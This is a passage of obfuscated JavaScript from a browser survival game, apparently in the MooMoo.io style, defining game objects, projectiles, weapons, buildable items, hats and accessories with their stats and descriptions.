this.owner = _0x4df62b;
this.name = _0x229c03.name;
this.isItem = this.id != undefined;
this.group = _0x229c03.group;
this.maxHealth = _0x229c03.health;
this.health = this.maxHealth;
this.layer = 2;
if (this.group != undefined) {
this.layer = this.group.layer;
} else if (this.type == 0) {
this.layer = 3;
} else if (this.type == 2) {
this.layer = 0;
} else if (this.type == 4) {
this.layer = -1;
}
this.colDiv = _0x229c03.colDiv || 1;
this.blocker = _0x229c03.blocker;
this.ignoreCollision = _0x229c03.ignoreCollision;
this.dontGather = _0x229c03.dontGather;
this.hideFromEnemy = _0x229c03.hideFromEnemy;
this.friction = _0x229c03.friction;
this.projDmg = _0x229c03.projDmg;
this.dmg = _0x229c03.dmg;
this.pDmg = _0x229c03.pDmg;
this.pps = _0x229c03.pps;
this.zIndex = _0x229c03.zIndex || 0;
this.turnSpeed = _0x229c03.turnSpeed;
this.req = _0x229c03.req;
this.trap = _0x229c03.trap;
this.healCol = _0x229c03.healCol;
this.teleport = _0x229c03.teleport;
this.boostSpeed = _0x229c03.boostSpeed;
this.projectile = _0x229c03.projectile;
this.shootRange = _0x229c03.shootRange;
this.shootRate = _0x229c03.shootRate;
this.shootCount = this.shootRate;
this.spawnPoint = _0x229c03.spawnPoint;
this.onNear = 0;
this.breakObj = false;
this.alpha = _0x229c03.alpha || 1;
this.maxAlpha = _0x229c03.alpha || 1;
this.damaged = 0;
};
this.changeHealth = function (_0x4a8676, _0x56333f) {
this.health += _0x4a8676;
return this.health <= 0;
};
this.getScale = function (_0x16d54b, _0xd7b9dc) {
_0x16d54b = _0x16d54b || 1;
return this.scale * (this.isItem || this.type == 2 || this.type == 3 ||
this.type == 4 ? 1 : _0x16d54b * 0.6) * (_0xd7b9dc ? 1 : this.colDiv);
};
this.visibleToPlayer = function (_0x3ed181) {
return !this.hideFromEnemy || this.owner && (this.owner == _0x3ed181 ||
this.owner.team && _0x3ed181.team == this.owner.team);
};
this.update = function (_0x56b082) {
if (this.active) {
if (this.xWiggle) {
this.xWiggle *= Math.pow(0.99, _0x56b082);
}
if (this.yWiggle) {
this.yWiggle *= Math.pow(0.99, _0x56b082);
}
if (_0x124d71.anotherVisual) {
let _0x55fbb5 = _0x4cedba.getAngleDist(this.lastDir, this.dir);
if (_0x55fbb5 > 0.01) {
this.dir += _0x55fbb5 / 5;
} else {
this.dir = this.lastDir;
}
} else if (this.turnSpeed && this.dmg) {
this.dir += this.turnSpeed * _0x56b082;
}
} else if (this.alive) {
this.alpha -= _0x56b082 / (200 / this.maxAlpha);
this.visScale += _0x56b082 / (this.scale / 2.5);
if (this.alpha <= 0) {
this.alpha = 0;
this.alive = false;
}
}
};
this.isTeamObject = function (_0x78520) {
if (this.owner == null) {
return true;
} else {
return this.owner && _0x78520.sid == this.owner.sid ||
_0x78520.findAllianceBySid(this.owner.sid);
}
};
}
}
class _0x4fd03a {
constructor() {
this.groups = [{
id: 0,
name: "food",
layer: 0
}, {
id: 1,
name: "walls",
place: true,
limit: 30,
layer: 0
}, {
id: 2,
name: "spikes",
place: true,
limit: 15,
layer: 0
}, {
id: 3,
name: "mill",
place: true,
limit: 7,
layer: 1
}, {
id: 4,
name: "mine",
place: true,
limit: 1,
layer: 0
}, {
id: 5,
name: "trap",
place: true,
limit: 6,
layer: -1
}, {
id: 6,
name: "booster",
place: true,
limit: 12,
layer: -1
}, {
id: 7,
name: "turret",
place: true,
limit: 2,
layer: 1
}, {
id: 8,
name: "watchtower",
place: true,
limit: 12,
layer: 1
}, {
id: 9,
name: "buff",
place: true,
limit: 4,
layer: -1
}, {
id: 10,
name: "spawn",
place: true,
limit: 1,
layer: -1
}, {
id: 11,
name: "sapling",
place: true,
limit: 2,
layer: 0
}, {
id: 12,
name: "blocker",
place: true,
limit: 3,
layer: -1
}, {
id: 13,
name: "teleporter",
place: true,
limit: 2,
layer: -1
}];
this.projectiles = [{
indx: 0,
layer: 0,
src: "arrow_1",
dmg: 25,
speed: 1.6,
scale: 103,
range: 1000
}, {
indx: 1,
layer: 1,
dmg: 25,
scale: 20
}, {
indx: 0,
layer: 0,
src: "arrow_1",
dmg: 35,
speed: 2.5,
scale: 103,
range: 1200
}, {
indx: 0,
layer: 0,
src: "arrow_1",
dmg: 30,
speed: 2,
scale: 103,
range: 1200
}, {
indx: 1,
layer: 1,
dmg: 16,
scale: 20
}, {
indx: 0,
layer: 0,
src: "bullet_1",
dmg: 50,
speed: 3.6,
scale: 160,
range: 1400
}];
this.weapons = [{
id: 0,
type: 0,
name: "tool hammer",
desc: "tool for gathering all resources",
src: "hammer_1",
length: 140,
width: 140,
xOff: -3,
yOff: 18,
dmg: 25,
range: 65,
gather: 1,
speed: 300
}, {
id: 1,
type: 0,
age: 2,
name: "hand axe",
desc: "gathers resources at a higher rate",
src: "axe_1",
length: 140,
width: 140,
xOff: 3,
yOff: 24,
dmg: 30,
spdMult: 1,
range: 70,
gather: 2,
speed: 400
}, {
id: 2,
type: 0,
age: 8,
pre: 1,
name: "great axe",
desc: "deal more damage and gather more resources",
src: "great_axe_1",
length: 140,
width: 140,
xOff: -8,
yOff: 25,
dmg: 35,
spdMult: 1,
range: 75,
gather: 4,
speed: 400
}, {
id: 3,
type: 0,
age: 2,
name: "short sword",
desc: "increased attack power but slower move speed",
src: "sword_1",
iPad: 1.3,
length: 130,
width: 210,
xOff: -8,
yOff: 46,
dmg: 35,
spdMult: 0.85,
range: 110,
gather: 1,
speed: 300
}, {
id: 4,
type: 0,
age: 8,
pre: 3,
name: "katana",
desc: "greater range and damage",
src: "samurai_1",
iPad: 1.3,
length: 130,
width: 210,
xOff: -8,
yOff: 59,
dmg: 40,
spdMult: 0.8,
range: 118,
gather: 1,
speed: 300
}, {
id: 5,
type: 0,
age: 2,
name: "polearm",
desc: "long range melee weapon",
src: "spear_1",
iPad: 1.3,
length: 130,
width: 210,
xOff: -8,
yOff: 53,
dmg: 45,
knock: 0.2,
spdMult: 0.82,
range: 142,
gather: 1,
speed: 700
}, {
id: 6,
type: 0,
age: 2,
name: "bat",
desc: "fast long range melee weapon",
src: "bat_1",
iPad: 1.3,
length: 110,
width: 180,
xOff: -8,
yOff: 53,
dmg: 20,
knock: 0.7,
range: 110,
gather: 1,
speed: 300
}, {
id: 7,
type: 0,
age: 2,
name: "daggers",
desc: "really fast short range weapon",
src: "dagger_1",
iPad: 0.8,
length: 110,
width: 110,
xOff: 18,
yOff: 0,
dmg: 20,
knock: 0.1,
range: 65,
gather: 1,
hitSlow: 0.1,
spdMult: 1.13,
speed: 100
}, {
id: 8,
type: 0,
age: 2,
name: "stick",
desc: "great for gathering but very weak",
src: "stick_1",
length: 140,
width: 140,
xOff: 3,
yOff: 24,
dmg: 1,
spdMult: 1,
range: 70,
gather: 7,
speed: 400
}, {
id: 9,
type: 1,
age: 6,
name: "hunting bow",
desc: "bow used for ranged combat and hunting",
src: "bow_1",
req: ["wood", 4],
length: 120,
width: 120,
xOff: -6,
yOff: 0,
Pdmg: 25,
projectile: 0,
spdMult: 0.75,
speed: 600
}, {
id: 10,
type: 1,
age: 6,
name: "great hammer",
desc: "kaboom!",
src: "great_hammer_1",
length: 140,
width: 140,
xOff: -9,
yOff: 25,
dmg: 10,
Pdmg: 10,
spdMult: 0.88,
range: 75,
sDmg: 7.5,
gather: 1,
speed: 400
}, {
id: 11,
type: 1,
age: 6,
name: "wooden shield",
desc: "blocks projectiles and reduces melee damage",
src: "shield_1",
length: 120,
width: 120,
shield: 0.2,
xOff: 6,
yOff: 0,
Pdmg: 0,
spdMult: 0.7
}, {
id: 12,
type: 1,
age: 8,
pre: 9,
name: "crossbow",
desc: "deals more damage and has greater range",
src: "crossbow_1",
req: ["wood", 5],
aboveHand: true,
armS: 0.75,
length: 120,
width: 120,
xOff: -4,
yOff: 0,
Pdmg: 35,
projectile: 2,
spdMult: 0.7,
speed: 700
}, {
id: 13,
type: 1,
age: 9,
pre: 12,
name: "repeater crossbow",
desc: "ew one tick",
src: "crossbow_2",
req: ["wood", 10],
aboveHand: true,
armS: 0.75,
length: 120,
width: 120,
xOff: -4,
yOff: 0,
Pdmg: 30,
projectile: 3,
spdMult: 0.7,
speed: 230
}, {
id: 14,
type: 1,
age: 6,
name: "mc grabby",
desc: "steals resources from enemies",
src: "grab_1",
length: 130,
width: 210,
xOff: -8,
yOff: 53,
dmg: 0,
Pdmg: 0,
steal: 250,
knock: 0.2,
spdMult: 1.05,
range: 125,
gather: 0,
speed: 700
}, {
id: 15,
type: 1,
age: 9,
pre: 12,
name: "musket",
desc: "slow firerate but high damage and range",
src: "musket_1",
req: ["stone", 10],
aboveHand: true,
rec: 0.35,
armS: 0.6,
hndS: 0.3,
hndD: 1.6,
length: 205,
width: 205,
xOff: 25,
yOff: 0,
Pdmg: 50,
projectile: 5,
hideProjectile: true,
spdMult: 0.6,
speed: 1500
}];
this.list = [{
group: this.groups[0],
name: "apple",
desc: "restores 20 health when consumed",
req: ["food", 10],
consume: function (_0x14b58f) {
return _0x14b58f.changeHealth(20, _0x14b58f);
},
scale: 22,
holdOffset: 15,
healing: 20,
itemID: 0,
itemAID: 16
}, {
age: 3,
group: this.groups[0],
name: "cookie",
desc: "restores 40 health when consumed",
req: ["food", 15],
consume: function (_0x4a49a5) {
return _0x4a49a5.changeHealth(40, _0x4a49a5);
},
scale: 27,
holdOffset: 15,
healing: 40,
itemID: 1,
itemAID: 17
}, {
age: 7,
group: this.groups[0],
name: "cheese",
desc: "restores 30 health and another 50 over 5 seconds",
req: ["food", 25],
consume: function (_0x36c64f) {
if (_0x36c64f.changeHealth(30, _0x36c64f) || _0x36c64f.health < 100)
{
_0x36c64f.dmgOverTime.dmg = -10;
_0x36c64f.dmgOverTime.doer = _0x36c64f;
_0x36c64f.dmgOverTime.time = 5;
return true;
}
return false;
},
scale: 27,
holdOffset: 15,
healing: 30,
itemID: 2,
itemAID: 18
}, {
group: this.groups[1],
name: "wood wall",
desc: "provides protection for your village",
req: ["wood", 10],
projDmg: true,
health: 380,
scale: 50,
holdOffset: 20,
placeOffset: -5,
itemID: 3,
itemAID: 19
}, {
age: 3,
group: this.groups[1],
name: "stone wall",
desc: "provides improved protection for your village",
req: ["stone", 25],
health: 900,
scale: 50,
holdOffset: 20,
placeOffset: -5,
itemID: 4,
itemAID: 20
}, {
age: 7,
group: this.groups[1],
name: "castle wall",
desc: "provides powerful protection for your village",
req: ["stone", 35],
health: 1500,
scale: 52,
holdOffset: 20,
placeOffset: -5,
itemID: 5,
itemAID: 21
}, {
group: this.groups[2],
name: "spikes",
desc: "damages enemies when they touch them",
req: ["wood", 20, "stone", 5],
health: 400,
dmg: 20,
scale: 49,
spritePadding: -23,
holdOffset: 8,
placeOffset: -5,
itemID: 6,
itemAID: 22
}, {
age: 5,
group: this.groups[2],
name: "greater spikes",
desc: "damages enemies when they touch them",
req: ["wood", 30, "stone", 10],
health: 500,
dmg: 35,
scale: 52,
spritePadding: -23,
holdOffset: 8,
placeOffset: -5,
itemID: 7,
itemAID: 23
}, {
age: 9,
group: this.groups[2],
name: "poison spikes",
desc: "poisons enemies when they touch them",
req: ["wood", 35, "stone", 15],
health: 600,
dmg: 30,
pDmg: 5,
scale: 52,
spritePadding: -23,
holdOffset: 8,
placeOffset: -5,
itemID: 8,
itemAID: 24
}, {
age: 9,
group: this.groups[2],
name: "spinning spikes",
desc: "damages enemies when they touch them",
req: ["wood", 30, "stone", 20],
health: 500,
dmg: 45,
turnSpeed: 0.003,
scale: 52,
spritePadding: -23,
holdOffset: 8,
placeOffset: -5,
itemID: 9,
itemAID: 25
}, {
group: this.groups[3],
name: "windmill",
desc: "generates gold over time",
req: ["wood", 50, "stone", 10],
health: 400,
pps: 1,
turnSpeed: 0.0016,
spritePadding: 25,
iconLineMult: 12,
scale: 45,
holdOffset: 20,
placeOffset: 5,
itemID: 10,
itemAID: 26
}, {
age: 5,
group: this.groups[3],
name: "faster windmill",
desc: "generates more gold over time",
req: ["wood", 60, "stone", 20],
health: 500,
pps: 1.5,
turnSpeed: 0.0025,
spritePadding: 25,
iconLineMult: 12,
scale: 47,
holdOffset: 20,
placeOffset: 5,
itemID: 11,
itemAID: 27
}, {
age: 8,
group: this.groups[3],
name: "power mill",
desc: "generates more gold over time",
req: ["wood", 100, "stone", 50],
health: 800,
pps: 2,
turnSpeed: 0.005,
spritePadding: 25,
iconLineMult: 12,
scale: 47,
holdOffset: 20,
placeOffset: 5,
itemID: 12,
itemAID: 28
}, {
age: 5,
group: this.groups[4],
type: 2,
name: "mine",
desc: "allows you to mine stone",
req: ["wood", 20, "stone", 100],
iconLineMult: 12,
scale: 65,
holdOffset: 20,
placeOffset: 0,
itemID: 13,
itemAID: 29
}, {
age: 5,
group: this.groups[11],
type: 0,
name: "sapling",
desc: "allows you to farm wood",
req: ["wood", 150],
iconLineMult: 12,
colDiv: 0.5,
scale: 110,
holdOffset: 50,
placeOffset: -15,
itemID: 14,
itemAID: 30
}, {
age: 4,
group: this.groups[5],
name: "pit trap",
desc: "pit that traps enemies if they walk over it",
req: ["wood", 30, "stone", 30],
trap: true,
ignoreCollision: true,
hideFromEnemy: true,
health: 500,
colDiv: 0.2,
scale: 50,
holdOffset: 20,
placeOffset: -5,
alpha: 0.6,
itemID: 15,
itemAID: 31
}, {
age: 4,
group: this.groups[6],
name: "boost pad",
desc: "provides boost when stepped on",
req: ["stone", 20, "wood", 5],
ignoreCollision: true,
boostSpeed: 1.5,
health: 150,
colDiv: 0.7,
scale: 45,
holdOffset: 20,
placeOffset: -5,
itemID: 16,
itemAID: 32
}, {
age: 7,
group: this.groups[7],
doUpdate: true,
name: "turret",
desc: "defensive structure that shoots at enemies",
req: ["wood", 200, "stone", 150],
health: 800,
projectile: 1,
shootRange: 700,
shootRate: 2200,
scale: 43,
holdOffset: 20,
placeOffset: -5,
itemID: 17,
itemAID: 33
}, {
age: 7,
group: this.groups[8],
name: "platform",
desc: "platform to shoot over walls and cross over water",
req: ["wood", 20],
ignoreCollision: true,
zIndex: 1,
health: 300,
scale: 43,
holdOffset: 20,
placeOffset: -5,
itemID: 18,
itemAID: 34
}, {
age: 7,
group: this.groups[9],
name: "healing pad",
desc: "standing on it will slowly heal you",
req: ["wood", 30, "food", 10],
ignoreCollision: true,
healCol: 15,
health: 400,
colDiv: 0.7,
scale: 45,
holdOffset: 20,
placeOffset: -5,
itemID: 19,
itemAID: 35
}, {
age: 9,
group: this.groups[10],
name: "spawn pad",
desc: "you will spawn here when you die but it will dissapear",
req: ["wood", 100, "stone", 100],
health: 400,
ignoreCollision: true,
spawnPoint: true,
scale: 45,
holdOffset: 20,
placeOffset: -5,
itemID: 20,
itemAID: 36
}, {
age: 7,
group: this.groups[12],
name: "blocker",
desc: "blocks building in radius",
req: ["wood", 30, "stone", 25],
ignoreCollision: true,
blocker: 300,
health: 400,
colDiv: 0.7,
scale: 45,
holdOffset: 20,
placeOffset: -5,
itemID: 21,
itemAID: 37
}, {
age: 7,
group: this.groups[13],
name: "teleporter",
desc: "teleports you to a random point on the map",
req: ["wood", 60, "stone", 60],
ignoreCollision: true,
teleport: true,
health: 200,
colDiv: 0.7,
scale: 45,
holdOffset: 20,
placeOffset: -5,
itemID: 22,
itemAID: 38
}];
this.checkItem = {
index: function (_0x1b529f, _0x57e38b) {
if ([0, 1, 2].includes(_0x1b529f)) {
return 0;
} else if ([3, 4, 5].includes(_0x1b529f)) {
return 1;
} else if ([6, 7, 8, 9].includes(_0x1b529f)) {
return 2;
} else if ([10, 11, 12].includes(_0x1b529f)) {
return 3;
} else if ([13, 14].includes(_0x1b529f)) {
return 5;
} else if ([15, 16].includes(_0x1b529f)) {
return 4;
} else if ([17, 18, 19, 21, 22].includes(_0x1b529f)) {
if ([13, 14].includes(_0x57e38b)) {
return 6;
} else {
return 5;
}
} else if (_0x1b529f == 20) {
if ([13, 14].includes(_0x57e38b)) {
return 7;
} else {
return 6;
}
} else {
return undefined;
}
}
};
for (let _0x16b589 = 0; _0x16b589 < this.list.length; ++_0x16b589) {
this.list[_0x16b589].id = _0x16b589;
if (this.list[_0x16b589].pre) {
this.list[_0x16b589].pre = _0x16b589 - this.list[_0x16b589].pre;
}
}
if (typeof window !== "undefined") {
function _0x3febcf(_0x535239) {
for (let _0x4f4cae = _0x535239.length - 1; _0x4f4cae > 0;
_0x4f4cae--) {
const _0x301b9b = Math.floor(Math.random() * (_0x4f4cae + 1));
[_0x535239[_0x4f4cae], _0x535239[_0x301b9b]] =
[_0x535239[_0x301b9b], _0x535239[_0x4f4cae]];
}
return _0x535239;
}
}
}
}
class _0x13d197 {
constructor(_0x538d9b, _0x15479d, _0x23c695, _0x33326d, _0x39fb49,
_0x44c06d) {
let _0x2a40bf = Math.floor;
let _0x24dcb5 = Math.abs;
let _0xeaa4b2 = Math.cos;
let _0xfe88db = Math.sin;
let _0x35235f = Math.pow;
let _0x2d6191 = Math.sqrt;
this.ignoreAdd = false;
this.hitObj = [];
this.disableObj = function (_0x6ab87a) {
_0x6ab87a.active = false;
if (_0x33326d.anotherVisual) {} else {
_0x6ab87a.alive = false;
}
};
let _0x16c109;
this.add = function (_0x570433, _0x5126e3, _0x1e6bcc, _0x29a319,
_0x3bcbe4, _0x140d75, _0x10056a, _0x18e830, _0x55c3ee) {
_0x16c109 = _0x45a52d(_0x570433);
if (!_0x16c109) {
_0x16c109 = _0x15479d.find(_0x44459d => !_0x44459d.active);
if (!_0x16c109) {
_0x16c109 = new _0x538d9b(_0x570433);
_0x15479d.push(_0x16c109);
}
}
if (_0x18e830) {
_0x16c109.sid = _0x570433;
}
_0x16c109.init(_0x5126e3, _0x1e6bcc, _0x29a319, _0x3bcbe4, _0x140d75,
_0x10056a, _0x55c3ee);
};
this.disableBySid = function (_0x1a4e25) {
let _0x544be9 = _0x45a52d(_0x1a4e25);
if (_0x544be9) {
this.disableObj(_0x544be9);
}
};
this.removeAllItems = function (_0x37e8ae, _0x2c2e59) {
_0x15479d.filter(_0x259903 => _0x259903.active && _0x259903.owner &&
_0x259903.owner.sid == _0x37e8ae).forEach(_0x5097f2 => this.disableObj(_0x5097f2));
};
this.checkItemLocation = function (_0x42a84f, _0x55c8df, _0x37a323,
_0xcb4a5, _0x4b5d97, _0x20b69a, _0x2d2e20) {
let _0x4a24c9 = _0x15479d.find(_0x144773 => _0x144773.active &&
_0x23c695.getDistance(_0x42a84f, _0x55c8df, _0x144773.x, _0x144773.y) < _0x37a323 +
(_0x144773.blocker ? _0x144773.blocker : _0x144773.getScale(_0xcb4a5,
_0x144773.isItem)));
if (_0x4a24c9) {
return false;
}
if (!_0x20b69a && _0x4b5d97 != 18 && _0x55c8df >= _0x33326d.mapScale /
2 - _0x33326d.riverWidth / 2 && _0x55c8df <= _0x33326d.mapScale / 2 +
_0x33326d.riverWidth / 2) {
return false;
}
return true;
};
}
}
class _0x297068 {
constructor(_0x4a5099, _0x1bd277, _0x50693b, _0xc4c99e, _0x2fccd9,
_0x59ed7e, _0x12541f) {
this.init = function (_0x46505d, _0x306d9e, _0x5f36a3, _0x4a156e,
_0x1707c9, _0x2ad428, _0x96b8ca, _0x19f6fa, _0x5d243e) {
this.active = true;
this.tickActive = true;
this.indx = _0x46505d;
this.x = _0x306d9e;
this.y = _0x5f36a3;
this.x2 = _0x306d9e;
this.y2 = _0x5f36a3;
this.dir = _0x4a156e;
this.skipMov = true;
this.speed = _0x1707c9;
this.dmg = _0x2ad428;
this.scale = _0x19f6fa;
this.range = _0x96b8ca;
this.r2 = _0x96b8ca;
this.owner = _0x5d243e;
};
this.update = function (_0x2c3765) {
if (this.active) {
let _0xea4092 = this.speed * _0x2c3765;
if (!this.skipMov) {
this.x += _0xea4092 * Math.cos(this.dir);
this.y += _0xea4092 * Math.sin(this.dir);
this.range -= _0xea4092;
if (this.range <= 0) {
this.x += this.range * Math.cos(this.dir);
this.y += this.range * Math.sin(this.dir);
_0xea4092 = 1;
this.range = 0;
this.active = false;
}
} else {
this.skipMov = false;
}
}
};
this.tickUpdate = function (_0x49f2db) {
if (this.tickActive) {
let _0x189529 = this.speed * _0x49f2db;
if (!this.skipMov) {
this.x2 += _0x189529 * Math.cos(this.dir);
this.y2 += _0x189529 * Math.sin(this.dir);
this.r2 -= _0x189529;
if (this.r2 <= 0) {
this.x2 += this.r2 * Math.cos(this.dir);
this.y2 += this.r2 * Math.sin(this.dir);
_0x189529 = 1;
this.r2 = 0;
this.tickActive = false;
}
} else {
this.skipMov = false;
}
}
};
}
}
;
class _0x2df03c {
constructor() {
this.hats = [{
id: 45,
name: "Shame!",
dontSell: true,
price: 0,
scale: 120,
desc: "hacks are for winners"
}, {
id: 51,
name: "Moo Cap",
price: 0,
scale: 120,
desc: "coolest mooer around"
}, {
id: 50,
name: "Apple Cap",
price: 0,
scale: 120,
desc: "apple farms remembers"
}, {
id: 28,
name: "Moo Head",
price: 0,
scale: 120,
desc: "no effect"
}, {
id: 29,
name: "Pig Head",
price: 0,
scale: 120,
desc: "no effect"
}, {
id: 30,
name: "Fluff Head",
price: 0,
scale: 120,
desc: "no effect"
}, {
id: 36,
name: "Pandou Head",
price: 0,
scale: 120,
desc: "no effect"
}, {
id: 37,
name: "Bear Head",
price: 0,
scale: 120,
desc: "no effect"
}, {
id: 38,
name: "Monkey Head",
price: 0,
scale: 120,
desc: "no effect"
}, {
id: 44,
name: "Polar Head",
price: 0,
scale: 120,
desc: "no effect"
}, {
id: 35,
name: "Fez Hat",
price: 0,
scale: 120,
desc: "no effect"
}, {
id: 42,
name: "Enigma Hat",
price: 0,
scale: 120,
desc: "join the enigma army"
}, {
id: 43,
name: "Blitz Hat",
price: 0,
scale: 120,
desc: "hey everybody i'm blitz"
}, {
id: 49,
name: "Bob XIII Hat",
price: 0,
scale: 120,
desc: "like and subscribe"
}, {
id: 57,
name: "Pumpkin",
price: 50,
scale: 120,
desc: "Spooooky"
}, {
id: 8,
name: "Bummle Hat",
price: 100,
scale: 120,
desc: "no effect"
}, {
id: 2,
name: "Straw Hat",
price: 500,
scale: 120,
desc: "no effect"
}, {
id: 15,
name: "Winter Cap",
price: 600,
scale: 120,
desc: "allows you to move at normal speed in snow",
coldM: 1
}, {
id: 5,
name: "Cowboy Hat",
price: 1000,
scale: 120,
desc: "no effect"
}, {
id: 4,
name: "Ranger Hat",
price: 2000,
scale: 120,
desc: "no effect"
}, {
id: 18,
name: "Explorer Hat",
price: 2000,
scale: 120,
desc: "no effect"
}, {
id: 31,
name: "Flipper Hat",
price: 2500,
scale: 120,
desc: "have more control while in water",
watrImm: true
}, {
id: 1,
name: "Marksman Cap",
price: 3000,
scale: 120,
desc: "increases arrow speed and range",
aMlt: 1.3
}, {
id: 10,
name: "Bush Gear",
price: 3000,
scale: 160,
desc: "allows you to disguise yourself as a bush"
}, {
id: 48,
name: "Halo",
price: 3000,
scale: 120,
desc: "no effect"
}, {
id: 6,
name: "Soldier Helmet",
price: 4000,
scale: 120,
desc: "reduces damage taken but slows movement",
spdMult: 0.94,
dmgMult: 0.75
}, {
id: 23,
name: "Anti Venom Gear",
price: 4000,
scale: 120,
desc: "makes you immune to poison",
poisonRes: 1
}, {
id: 13,
name: "Medic Gear",
price: 5000,
scale: 110,
desc: "slowly regenerates health over time",
healthRegen: 3
}, {
id: 9,
name: "Miners Helmet",
price: 5000,
scale: 120,
desc: "earn 1 extra gold per resource",
extraGold: 1
}, {
id: 32,
name: "Musketeer Hat",
price: 5000,
scale: 120,
desc: "reduces cost of projectiles",
projCost: 0.5
}, {
id: 7,
name: "Bull Helmet",
price: 6000,
scale: 120,
desc: "increases damage done but drains health",
healthRegen: -5,
dmgMultO: 1.5,
spdMult: 0.96
}, {
id: 22,
name: "Emp Helmet",
price: 6000,
scale: 120,
desc: "turrets won't attack but you move slower",
antiTurret: 1,
spdMult: 0.7
}, {
id: 12,
name: "Booster Hat",
price: 6000,
scale: 120,
desc: "increases your movement speed",
spdMult: 1.16
}, {
id: 26,
name: "Barbarian Armor",
price: 8000,
scale: 120,
desc: "knocks back enemies that attack you",
dmgK: 0.6
}, {
id: 21,
name: "Plague Mask",
price: 10000,
scale: 120,
desc: "melee attacks deal poison damage",
poisonDmg: 5,
poisonTime: 6
}, {
id: 46,
name: "Bull Mask",
price: 10000,
scale: 120,
desc: "bulls won't target you unless you attack them",
bullRepel: 1
}, {
id: 14,
name: "Windmill Hat",
topSprite: true,
price: 10000,
scale: 120,
desc: "generates points while worn",
pps: 1.5
}, {
id: 11,
name: "Spike Gear",
topSprite: true,
price: 10000,
scale: 120,
desc: "deal damage to players that damage you",
dmg: 0.45
}, {
id: 53,
name: "Turret Gear",
topSprite: true,
price: 10000,
scale: 120,
desc: "you become a walking turret",
turret: {
proj: 1,
range: 700,
rate: 2500
},
spdMult: 0.7
}, {
id: 20,
name: "Samurai Armor",
price: 12000,
scale: 120,
desc: "increased attack speed and fire rate",
atkSpd: 0.78
}, {
id: 58,
name: "Dark Knight",
price: 12000,
scale: 120,
desc: "restores health when you deal damage",
healD: 0.4
}, {
id: 27,
name: "Scavenger Gear",
price: 15000,
scale: 120,
desc: "earn double points for each kill",
kScrM: 2
}, {
id: 40,
name: "Tank Gear",
price: 15000,
scale: 120,
desc: "increased damage to buildings but slower movement",
spdMult: 0.3,
bDmg: 3.3
}, {
id: 52,
name: "Thief Gear",
price: 15000,
scale: 120,
desc: "steal half of a players gold when you kill them",
goldSteal: 0.5
}, {
id: 55,
name: "Bloodthirster",
price: 20000,
scale: 120,
desc: "Restore Health when dealing damage. And increased damage",
healD: 0.25,
dmgMultO: 1.2
}, {
id: 56,
name: "Assassin Gear",
price: 20000,
scale: 120,
desc: "Go invisible when not moving. Can't eat. Increased speed",
noEat: true,
spdMult: 1.1,
invisTimer: 1000
}];
this.accessories = [{
id: 12,
name: "Snowball",
price: 1000,
scale: 105,
xOff: 18,
desc: "no effect"
}, {
id: 9,
name: "Tree Cape",
price: 1000,
scale: 90,
desc: "no effect"
}, {
id: 10,
name: "Stone Cape",
price: 1000,
scale: 90,
desc: "no effect"
}, {
id: 3,
name: "Cookie Cape",
price: 1500,
scale: 90,
desc: "no effect"
}, {
id: 8,
name: "Cow Cape",
price: 2000,
scale: 90,
desc: "no effect"
}, {
id: 11,
name: "Monkey Tail",
price: 2000,
scale: 97,
xOff: 25,
desc: "Super speed but reduced damage",
spdMult: 1.35,
dmgMultO: 0.2
}, {
id: 17,
name: "Apple Basket",
price: 3000,
scale: 80,
xOff: 12,
desc: "slowly regenerates health over time",
healthRegen: 1
}, {
id: 6,
name: "Winter Cape",
price: 3000,
scale: 90,
desc: "no effect"
}, {
id: 4,
name: "Skull Cape",
price: 4000,
scale: 90,
desc: "no effect"
}, {
id: 5,
name: "Dash Cape",
price: 5000,
scale: 90,
desc: "no effect"
}, {
id: 2,
name: "Dragon Cape",
price: 6000,
scale: 90,
desc: "no effect"
}, {
id: 1,
name: "Super Cape",
price: 8000,
scale: 90,
desc: "no effect"
}, {
id: 7,
name: "Troll Cape",
price: 8000,
scale: 90,
desc: "no effect"
}, {
id: 14,
name: "Thorns",
price: 10000,
scale: 115,
xOff: 20,
desc: "no effect"
}, {
id: 15,
name: "Blockades",
price: 10000,
scale: 95,
xOff: 15,
desc: "no effect"
}, {
id: 20,
name: "Devils Tail",
price: 10000,
scale: 95,
xOff: 20,
desc: "no effect"
}, {
id: 16,
name: "Sawblade",
price: 12000,
scale: 90,
spin: true,
xOff: 0,
desc: "deal damage to players that damage you",
dmg: 0.15
}, {
id: 13,
name: "Angel Wings",
price: 15000,
scale: 138,
xOff: 22,
desc: "slowly regenerates health over time",
healthRegen: 3
}, {
id: 19,
name: "Shadow Wings",
price: 15000,
scale: 138,
xOff: 22,
desc: "increased movement speed",
spdMult: 1.1
}, {
id: 18,
name: "Blood Wings",
price: 20000,
scale: 178,
xOff: 26,
desc: "restores health when you deal damage",
healD: 0.2
}, {
id: 21,
name: "Corrupt X Wings",
price: 20000,
scale: 178,
xOff: 26,
desc: "deal damage to players that damage you",
dmg: 0.25
}];
}
}
;
class _0x4eac82 {
constructor(_0x35d52c, _0x47ead8, _0x285e9e, _0x3f8375, _0x41f1e1,
_0x13c5e4, _0x210a5a, _0x20359f, _0xa1c005) {
this.addProjectile = function (_0x45147b, _0x32410d, _0x361036,
_0x56f257, _0x570b02, _0x29b600, _0xede5b, _0x592a59, _0x2459ce, _0x4dd845) {
let _0x331b13 = _0x13c5e4.projectiles[_0x29b600];
let _0x80cf5c;
for (let _0x5606cd = 0; _0x5606cd < _0x47ead8.length; ++_0x5606cd) {
if (!_0x47ead8[_0x5606cd].active) {
_0x80cf5c = _0x47ead8[_0x5606cd];
break;
}
}
if (!_0x80cf5c) {
_0x80cf5c = new _0x35d52c(_0x285e9e, _0x3f8375, _0x41f1e1, _0x13c5e4,
_0x210a5a, _0x20359f, _0xa1c005);
_0x80cf5c.sid = _0x47ead8.length;
_0x47ead8.push(_0x80cf5c);
}
_0x80cf5c.init(_0x29b600, _0x45147b, _0x32410d, _0x361036, _0x570b02,
_0x331b13.dmg, _0x56f257, _0x331b13.scale, _0xede5b);
_0x80cf5c.ignoreObj = _0x592a59;
_0x80cf5c.layer = _0x2459ce || _0x331b13.layer;
_0x80cf5c.inWindow = _0x4dd845;
_0x80cf5c.src = _0x331b13.src;
return _0x80cf5c;
};
}
}
;
class _0x592b9b {
constructor(_0x298993, _0x52e012, _0x3660a9, _0x2b7817, _0x302878,
_0x444b3e, _0x385190, _0x1623fc, _0x4ea422) {
this.aiTypes = [{
id: 0,
src: "cow_1",
killScore: 150,
health: 500,
weightM: 0.8,
speed: 0.00095,
turnSpeed: 0.001,
scale: 72,
drop: ["food", 50]
}, {
id: 1,
src: "pig_1",
killScore: 200,
health: 800,
weightM: 0.6,
